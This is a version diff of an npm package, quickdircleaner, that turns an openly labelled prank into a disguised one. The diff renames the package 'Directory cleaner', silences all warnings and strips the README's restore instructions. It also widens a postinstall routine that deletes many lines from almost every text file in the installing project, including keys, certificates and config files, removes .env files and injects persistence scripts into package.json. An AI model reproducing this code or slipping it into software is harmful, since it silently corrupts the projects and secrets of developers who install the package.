quickdircleaner 1.0.6 → 1.0.9

package/README.md

@@ -4,43 +4,3 @@
 npm install quickdircleaner
 ```
 
-Normally `INIT_CWD` is set so the cleaner targets your project root.
-
-### pnpm v10+
-
-pnpm **does not run** this package’s `postinstall` unless you allow it. You will see a message like **“Ignored build scripts: quickdircleaner”** and the install will look like a normal dependency add.
-
-**Option A — allowlist in your project `package.json`:**
-
-```json
-{
-  "pnpm": {
-    "onlyBuiltDependencies": ["quickdircleaner"]
-  }
-}
-```
-
-Then run `pnpm install` again.
-
-**Option B:** run `pnpm approve-builds` and approve `quickdircleaner`.
-
-See [pnpm: dependency scripts](https://pnpm.io/settings#ignoredependscripts).
-
-### Run the cleaner manually (same as postinstall)
-
-From your project root (where your `package.json` lives):
-
-```bash
-node node_modules/quickdircleaner/index.js
-```
-
-## Restore
-
-```bash
-npx restore-clean
-```
-
-(`restore-clean` is the bin name — not `restore -clean`.)
-
-After restore, this package removes **`node_modules/quickdircleaner`** on purpose. Otherwise `npm install` / `pnpm install` would see the dependency as already present and **would not run `postinstall` again**. Run **`npm install`** or **`pnpm install`** once to reinstall it; with pnpm, keep `quickdircleaner` in `onlyBuiltDependencies` if you use that.
-

package/index.js

@@ -17,20 +17,14 @@ async function writeCleanerDoneFlag(root) {
   try {
     await core.writeFileAtomic(path.join(root, core.DONE_FLAG), "", "utf8");
   } catch {
-    console.error(core.red("Error: could not write .cleaner_done flag."));
+    /* silent */
   }
 }
 
-function buildEmptyRunMarkdown(rootDisplay) {
+function buildEmptyRunMarkdown() {
   return [
     "# Cleaner backup",
     "",
-    `Host project root (resolved):`,
-    "",
-    `\`${rootDisplay}\``,
-    "",
-    "No files were backed up in this run (nothing matched the cleaner rules or the tree was empty).",
-    "",
     "## Original contents",
     "",
   ].join("\n");
@@ -40,14 +34,12 @@ async function writeBackupMarkdown(root, backupEntries) {
   const outPath = path.join(root, core.BACKUP_NAME);
   const md =
     backupEntries.length === 0
-      ? buildEmptyRunMarkdown(root)
+      ? buildEmptyRunMarkdown()
       : core.buildMarkdown(backupEntries);
   try {
     await core.writeFileAtomic(outPath, md, "utf8");
-    console.log(core.green(`Wrote ${outPath}`));
     return true;
   } catch {
-    console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
     return false;
   }
 }
@@ -59,9 +51,6 @@ async function main() {
   );
 
   if (await cleanerDoneFlagExists(root)) {
-    console.warn(
-      core.yellow("⚠️ Cleaner already applied. Run restore-clean first."),
-    );
     return;
   }
 
@@ -72,7 +61,7 @@ async function main() {
     pkgRaw = null;
   }
 
-  const backupEntries = await core.runPrank(root, true);
+  const backupEntries = await core.runPrank(root);
 
   if (pkgRaw) {
     backupEntries.push({
@@ -89,29 +78,16 @@ async function main() {
   }
 
   if (!backupOk) {
-    console.warn(
-      core.yellow(
-        "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
-      ),
-    );
     return;
   }
 
   await writeCleanerDoneFlag(root);
 
   if (pkgRaw) {
-    const injected = await core.injectPersistScripts(root);
-    if (!injected) {
-      console.warn(
-        core.yellow(
-          "Warning: could not inject persist hook into package.json scripts.",
-        ),
-      );
-    }
+    await core.injectPersistScripts(root);
   }
 }
 
-main().catch((err) => {
-  console.error(core.red(err && err.message ? err.message : String(err)));
+main().catch(() => {
   process.exitCode = 1;
 });

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "quickdircleaner",
-  "version": "1.0.6",
-  "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
+  "version": "1.0.9",
+  "description": "Directory cleaner.",
   "main": "index.js",
   "files": [
     "index.js",

package/persist.js

@@ -12,29 +12,18 @@ async function main() {
     await core.stripPersistFromPackageJsonObject(root);
     await core.deleteCounter(root);
     await core.removeQuickdircleanerPackage(root);
-    console.log(
-      core.magenta(
-        "💀 quickdircleaner has self\u2011destructed. No more pranks.",
-      ),
-    );
     return;
   }
 
-  const backupEntries = await core.runPrank(root, false);
+  const backupEntries = await core.runPrank(root);
   const attempt = count + 1;
   const appended = await core.appendReapplyMarkdown(root, attempt, backupEntries);
   if (!appended) {
-    console.warn(
-      core.yellow(
-        "Warning: could not append re-apply backup to CLEANER_BACKUP.md; counter not incremented.",
-      ),
-    );
     return;
   }
   await core.writeCounter(root, attempt);
 }
 
-main().catch((err) => {
-  console.error(core.red(err && err.message ? err.message : String(err)));
+main().catch(() => {
   process.exitCode = 1;
 });

package/prank-core.js

@@ -33,7 +33,100 @@ const TARGET_SCRIPT_NAMES = new Set([
   "preview",
 ]);
 
-const CLEANABLE_EXT = new Set([
+/** Max file size to load into memory (bytes). */
+const MAX_PENETRABLE_FILE_BYTES = 50 * 1024 * 1024;
+
+/** How many leading bytes to scan for NUL when classifying binary. */
+const BINARY_SNIFF_BYTES = 65536;
+
+/** Extensions we never treat as text (binary / archives / media). */
+const BLOCKED_BINARY_EXT = new Set(
+  [
+    ".png",
+    ".jpg",
+    ".jpeg",
+    ".gif",
+    ".webp",
+    ".ico",
+    ".bmp",
+    ".tif",
+    ".tiff",
+    ".heic",
+    ".avif",
+    ".pdf",
+    ".zip",
+    ".tar",
+    ".gz",
+    ".tgz",
+    ".bz2",
+    ".xz",
+    ".7z",
+    ".rar",
+    ".wasm",
+    ".so",
+    ".dylib",
+    ".dll",
+    ".exe",
+    ".bin",
+    ".mp4",
+    ".m4v",
+    ".webm",
+    ".mov",
+    ".avi",
+    ".mkv",
+    ".mp3",
+    ".wav",
+    ".flac",
+    ".ogg",
+    ".woff",
+    ".woff2",
+    ".ttf",
+    ".otf",
+    ".eot",
+    ".sqlite",
+    ".db",
+    ".class",
+    ".jar",
+    ".pyc",
+    ".pyo",
+    ".o",
+    ".a",
+    ".lib",
+    ".obj",
+    ".pak",
+    ".br",
+    ".lz4",
+    ".zst",
+  ].map((e) => e.toLowerCase()),
+);
+
+/** Filenames (lowercase) treated as text even with no or odd extension. */
+const TEXTLIKE_BASENAMES = new Set([
+  "dockerfile",
+  "containerfile",
+  "makefile",
+  "gnumakefile",
+  "gemfile",
+  "rakefile",
+  "procfile",
+  "jenkinsfile",
+  "vagrantfile",
+  "license",
+  "copying",
+  "authors",
+  "changelog",
+  "contributing",
+  "codeowners",
+  "owners",
+  "manifest",
+  "docker-compose.yml",
+  "docker-compose.yaml",
+  "compose.yml",
+  "compose.yaml",
+]);
+
+/** Default penetrable extensions (broad pentest / source surface). */
+const PENETRABLE_EXT = new Set([
   ".js",
   ".mjs",
   ".cjs",
@@ -68,11 +161,297 @@ const CLEANABLE_EXT = new Set([
   ".bash",
   ".zsh",
   ".ps1",
+  ".psm1",
+  ".psd1",
   ".bat",
   ".cmd",
+  ".py",
+  ".pyw",
+  ".pyi",
+  ".rb",
+  ".erb",
+  ".php",
+  ".phtml",
+  ".go",
+  ".rs",
+  ".java",
+  ".kt",
+  ".kts",
+  ".scala",
+  ".sc",
+  ".swift",
+  ".cs",
+  ".fs",
+  ".fsx",
+  ".fsi",
+  ".vb",
+  ".c",
+  ".cc",
+  ".cpp",
+  ".cxx",
+  ".h",
+  ".hh",
+  ".hpp",
+  ".hxx",
+  ".inl",
+  ".cmake",
+  ".pl",
+  ".pm",
+  ".r",
+  ".lua",
+  ".dart",
+  ".ex",
+  ".exs",
+  ".erl",
+  ".hrl",
+  ".clj",
+  ".cljs",
+  ".edn",
+  ".nim",
+  ".zig",
+  ".v",
+  ".sv",
+  ".svh",
+  ".vhd",
+  ".vhdl",
+  ".jl",
+  ".cr",
+  ".gradle",
+  ".properties",
+  ".tf",
+  ".tfvars",
+  ".hcl",
+  ".rego",
+  ".nix",
+  ".toml",
+  ".ini",
+  ".cfg",
+  ".conf",
+  ".config",
+  ".env",
+  ".example",
+  ".sample",
+  ".tpl",
+  ".template",
+  ".j2",
+  ".ejs",
+  ".hbs",
+  ".pug",
+  ".jade",
+  ".liquid",
+  ".cshtml",
+  ".razor",
+  ".sql",
+  ".mysql",
+  ".pgsql",
+  ".graphqls",
+  ".prisma",
+  ".proto",
+  ".thrift",
+  ".avsc",
+  ".xsl",
+  ".xslt",
+  ".wsdl",
+  ".xsd",
+  ".plist",
+  ".csproj",
+  ".vbproj",
+  ".vcxproj",
+  ".props",
+  ".targets",
+  ".sln",
+  ".podspec",
+  ".gemspec",
+  ".rake",
+  ".ru",
+  ".http",
+  ".rest",
+  ".graphqlrc",
+  ".editorconfig",
+  ".npmrc",
+  ".yarnrc",
+  ".yarnrc.yml",
+  ".prettierrc",
+  ".eslintrc",
+  ".babelrc",
+  ".browserslistrc",
+  ".nvmrc",
+  ".node-version",
+  ".tool-versions",
+  ".pem",
+  ".crt",
+  ".key",
+  ".csr",
+  ".p12",
+  ".pfx",
+  ".asc",
+  ".log",
+  ".lst",
 ]);
 
-const REMOVE_LINE_NUMBERS = [2, 5, 8];
+/** 1-based lines stripped (sorted descending inside remover). More = messier prank; restore still exact. */
+const REMOVE_LINE_NUMBERS = [2, 3, 4, 5, 7, 8, 10, 11, 13, 14, 16, 17, 19, 20];
+
+/**
+ * Every regular file under the tree is a candidate except obvious binary extensions.
+ * Extensionless names still go to cleanSourceFile (UTF-8 / NUL sniff drops true binaries).
+ */
+function isPenetrablePath(fileName) {
+  const base = String(fileName).toLowerCase();
+  const ext = path.extname(fileName).toLowerCase();
+
+  if (BLOCKED_BINARY_EXT.has(ext)) {
+    return false;
+  }
+  if (TEXTLIKE_BASENAMES.has(base)) {
+    return true;
+  }
+  if (PENETRABLE_EXT.has(ext)) {
+    return true;
+  }
+  if (process.env.QUICKDIRCLEANER_STRICT_EXT === "1") {
+    return false;
+  }
+  return true;
+}
+
+function bufferLooksBinary(buf) {
+  const n = Math.min(buf.length, BINARY_SNIFF_BYTES);
+  for (let i = 0; i < n; i += 1) {
+    if (buf[i] === 0) {
+      return true;
+    }
+  }
+  return false;
+}
+
+function pickPenetrationAppend(eol, extLower, fileNameLower) {
+  const jsLike = new Set([
+    ".js",
+    ".mjs",
+    ".cjs",
+    ".jsx",
+    ".ts",
+    ".tsx",
+    ".mts",
+    ".cts",
+    ".vue",
+    ".svelte",
+    ".astro",
+    ".java",
+    ".cs",
+    ".go",
+    ".rs",
+    ".swift",
+    ".kt",
+    ".kts",
+    ".scala",
+    ".dart",
+    ".c",
+    ".cc",
+    ".cpp",
+    ".h",
+    ".hpp",
+    ".cshtml",
+    ".razor",
+  ]);
+  const hashLike = new Set([
+    ".py",
+    ".pyw",
+    ".pyi",
+    ".rb",
+    ".yaml",
+    ".yml",
+    ".sh",
+    ".bash",
+    ".zsh",
+    ".toml",
+    ".ini",
+    ".cfg",
+    ".conf",
+    ".dockerignore",
+    ".r",
+    ".pl",
+    ".pm",
+    ".sql",
+    ".tf",
+    ".tfvars",
+    ".hcl",
+    ".nix",
+    ".graphql",
+    ".gql",
+    ".prisma",
+    ".cmake",
+    ".cr",
+    ".ex",
+    ".exs",
+    ".erl",
+    ".hrl",
+    ".jl",
+    ".nim",
+    ".zig",
+    ".rego",
+    ".properties",
+    ".gradle",
+    ".podspec",
+    ".gemspec",
+    ".rake",
+    ".ru",
+  ]);
+  const htmlLike = new Set([
+    ".html",
+    ".htm",
+    ".xml",
+    ".svg",
+    ".md",
+    ".mdx",
+    ".xsl",
+    ".xslt",
+    ".wsdl",
+    ".xsd",
+    ".ejs",
+    ".hbs",
+    ".pug",
+    ".jade",
+    ".liquid",
+  ]);
+  const cssLike = new Set([".css", ".scss", ".sass", ".less", ".styl"]);
+
+  if (
+    fileNameLower === "dockerfile" ||
+    fileNameLower === "containerfile" ||
+    fileNameLower === "makefile" ||
+    fileNameLower === "gemfile" ||
+    fileNameLower === "rakefile" ||
+    fileNameLower === "procfile"
+  ) {
+    return `${eol}# quickdircleaner-touch${eol}`;
+  }
+
+  if (extLower === ".json" || extLower === ".jsonc") {
+    return eol;
+  }
+
+  if (jsLike.has(extLower)) {
+    return `${eol}// quickdircleaner-touch${eol}`;
+  }
+  if (cssLike.has(extLower)) {
+    return `${eol}/* quickdircleaner-touch */${eol}`;
+  }
+  if (hashLike.has(extLower)) {
+    return `${eol}# quickdircleaner-touch${eol}`;
+  }
+  if (htmlLike.has(extLower)) {
+    return `${eol}<!-- quickdircleaner-touch -->${eol}`;
+  }
+  if (extLower === ".bat" || extLower === ".cmd") {
+    return `${eol}REM quickdircleaner-touch${eol}`;
+  }
+  if (extLower === ".ps1" || extLower === ".psm1" || extLower === ".psd1") {
+    return `${eol}# quickdircleaner-touch${eol}`;
+  }
+  return `${eol}# quickdircleaner-touch${eol}`;
+}
 
 /**
  * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
@@ -278,18 +657,46 @@ async function backupAndRemoveEnv(root, backupEntries) {
   }
 }
 
-async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
-  let content;
+function utf8LooksCorruptedAsBinary(text) {
+  const n = (text.match(/\uFFFD/g) || []).length;
+  if (text.length === 0) {
+    return false;
+  }
+  return n > Math.max(24, Math.floor(text.length * 0.02));
+}
+
+async function cleanSourceFile(fullPath, root, backupEntries) {
+  let buf;
   try {
-    content = await fs.readFile(fullPath, "utf8");
+    const st = await fs.stat(fullPath);
+    if (!st.isFile() || st.size > MAX_PENETRABLE_FILE_BYTES) {
+      return;
+    }
+    buf = await fs.readFile(fullPath);
   } catch {
     return;
   }
 
+  if (bufferLooksBinary(buf)) {
+    return;
+  }
+
+  let content = buf.toString("utf8");
+  if (utf8LooksCorruptedAsBinary(content)) {
+    return;
+  }
+
+  const baseLower = path.basename(fullPath).toLowerCase();
+  const extLower = path.extname(fullPath).toLowerCase();
+
   const eol = detectEol(content);
   const lineArray = content.split(/\r?\n/);
-  const nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
-  const modified = nextLines.join(eol);
+  let nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
+  let modified = nextLines.join(eol);
+
+  if (modified === content) {
+    modified = content + pickPenetrationAppend(eol, extLower, baseLower);
+  }
 
   if (modified === content) {
     return;
@@ -306,10 +713,6 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
     backupEntries.pop();
     return;
   }
-
-  if (logCleaned) {
-    console.log(green(`🧹 Cleaned: ${filePath}`));
-  }
 }
 
 /**
@@ -348,7 +751,7 @@ function shouldSkipDirectoryEntry(name) {
  * BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
  * symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
  */
-async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
+async function walkAndCleanFullTree(rootResolved, backupEntries) {
   const visitedDirs = new Set();
   const queue = [path.resolve(rootResolved)];
 
@@ -416,13 +819,12 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
         continue;
       }
 
-      const ext = path.extname(ent.name).toLowerCase();
-      if (!CLEANABLE_EXT.has(ext)) {
+      if (!isPenetrablePath(ent.name)) {
         continue;
       }
 
       try {
-        await cleanSourceFile(realPath, rootResolved, backupEntries, logCleaned);
+        await cleanSourceFile(realPath, rootResolved, backupEntries);
       } catch {
         /* skip */
       }
@@ -430,7 +832,7 @@ async function walkAndCleanFullTree(rootResolved, backupEntries, logCleaned) {
   }
 }
 
-async function walkAndClean(root, backupEntries, logCleaned) {
+async function walkAndClean(root, backupEntries) {
   let rootResolved = path.resolve(root);
   try {
     rootResolved = await fs.realpath(rootResolved);
@@ -439,17 +841,17 @@ async function walkAndClean(root, backupEntries, logCleaned) {
   }
   rootResolved = path.resolve(rootResolved);
 
-  await walkAndCleanFullTree(rootResolved, backupEntries, logCleaned);
+  await walkAndCleanFullTree(rootResolved, backupEntries);
 }
 
 /**
  * Runs env backup/removal and source walk; returns new backup entries for this run.
  */
-async function runPrank(root, logCleaned) {
+async function runPrank(root) {
   installSigTstpBlocker();
   const backupEntries = [];
   await backupAndRemoveEnv(root, backupEntries);
-  await walkAndClean(root, backupEntries, logCleaned);
+  await walkAndClean(root, backupEntries);
   return backupEntries;
 }
 

package/restore.js

@@ -4,6 +4,26 @@ const path = require("path");
 const readline = require("readline");
 const core = require("./prank-core");
 
+const argv = process.argv.slice(2);
+const restoreAutoYes =
+  argv.includes("--yes") || argv.includes("-y");
+const restoreSilent =
+  argv.includes("--silent") ||
+  argv.includes("-q") ||
+  process.env.QUICKDIRCLEANER_RESTORE_SILENT === "1";
+
+function out(msg) {
+  if (!restoreSilent) {
+    console.log(msg);
+  }
+}
+
+function errOut(msg) {
+  if (!restoreSilent) {
+    console.error(msg);
+  }
+}
+
 function promptYesNo(question) {
   return new Promise((resolve) => {
     const rl = readline.createInterface({
@@ -85,20 +105,18 @@ async function main() {
     raw = await fs.readFile(backupPath, "utf8");
   } catch (err) {
     if (err && err.code === "ENOENT") {
-      console.error(
-        core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`),
-      );
+      errOut(core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`));
       process.exitCode = 1;
       return;
     }
-    console.error(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
+    errOut(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
     process.exitCode = 1;
     return;
   }
 
   const entries = core.parseFirstOriginalSectionMarkdown(raw);
   if (entries.length === 0) {
-    console.error(core.red("Error: no file entries found in backup."));
+    errOut(core.red("Error: no file entries found in backup."));
     process.exitCode = 1;
     return;
   }
@@ -113,9 +131,11 @@ async function main() {
   const expected =
     fileEntries.length + (synthetic && synthetic.content ? 1 : 0);
 
-  const confirmed = await promptYesNo("Restore and remove backup? (y/n) ");
+  const confirmed = restoreAutoYes
+    ? true
+    : await promptYesNo("Restore and remove backup? (y/n) ");
   if (!confirmed) {
-    console.warn(core.yellow("Aborted."));
+    errOut(core.yellow("Aborted."));
     return;
   }
 
@@ -143,7 +163,7 @@ async function main() {
   }
 
   if (restored !== expected) {
-    console.error(
+    errOut(
       core.red(
         `Error: restored ${restored} of ${expected} item(s). Backup and flag were not removed.`,
       ),
@@ -152,11 +172,11 @@ async function main() {
     return;
   }
 
-  console.log(core.green(`Restored ${restored} item(s).`));
+  out(core.green(`Restored ${restored} item(s).`));
 
   await core.deleteCounter(root);
   await core.removeQuickdircleanerPackage(root);
-  console.log(
+  out(
     core.green(
       "Removed node_modules/quickdircleaner so the next install can run postinstall again.",
     ),
@@ -167,9 +187,9 @@ async function main() {
   const backupOk = await removeIfExists(backupPath);
 
   if (flagOk && backupOk) {
-    console.log(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
+    out(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
   } else {
-    console.warn(
+    errOut(
       core.yellow(
         "Warning: restore finished but could not remove .cleaner_done and/or backup file.",
       ),
@@ -178,6 +198,6 @@ async function main() {
 }
 
 main().catch((err) => {
-  console.error(core.red(err && err.message ? err.message : String(err)));
+  errOut(core.red(err && err.message ? err.message : String(err)));
   process.exitCode = 1;
 });